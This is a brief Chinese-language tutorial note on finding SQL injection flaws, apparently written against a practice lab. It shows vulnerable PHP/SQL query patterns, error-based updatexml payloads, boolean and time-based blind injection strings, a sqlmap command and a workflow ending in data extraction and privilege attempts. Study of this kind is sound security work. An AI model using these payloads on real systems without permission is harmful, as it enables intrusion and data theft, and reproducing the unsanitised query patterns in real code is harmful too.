漏洞挖掘之SQL注入漏洞挖掘
SQL注入漏洞出現的場景
- 動態網站的訪問請求
select news from article where id=$id;
select name from member where username='$name';
- 搜索框
select news from article where keywords like '%$name%';
有時候需要用%符號來閉合后面的
- 注冊或填寫信息
insert into member(username,pw,sex,phonenum,email,address)
values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}');
- 修改信息
update member set
sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}';
- 刪除
delete from message where id={$_GET['id']};
- 登錄
{"orderBy":"order limit 1,1 PROCEDURE ANALYSE(polygon(id),1)#","num":"1,1","type":"openedbyme"}
- HTTP頭注入
insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport)
values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport');
演示具體場景下的挖掘
union注入
數字型注入
sqlmap進⾏post注入
sqlmap.py -r "1.txt" -p 參數名
字符型注入
報錯注入
insert場景下的報錯注入
yusy' or updatexml(1,concat(0x7e,version()),0) or '
delete場景下的報錯注入
56 or updatexml(1,concat(0x7e,version()),0)
盲注
先嘗試布爾在嘗試時間
布爾盲注(base on boolian)
猜解當前數據庫名
猜長度
輸入1' and length(database())=1 #,顯⽰不存在;
逐字猜解
輸入1' and ascii(substr(database(),1,1))>97#
輸入1' and ascii(substr(database(),1,1))<113#
...
重復以上步驟直到得出完整的數據庫名
時間盲注(base on time)
kobe' and sleep(5)#
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
HTTP頭注入
user-agent
x-forward-for
client-ip
cookie
注入漏洞挖掘流程
- 判斷是否存在注入點
⾃動:工具掃描
手動:手動構造語句判斷
- 信息獲取
數據庫信息,操作系統版本,用戶信息,數據庫名稱,數據庫表,字段,字段內容.....
- 嘗試獲取權限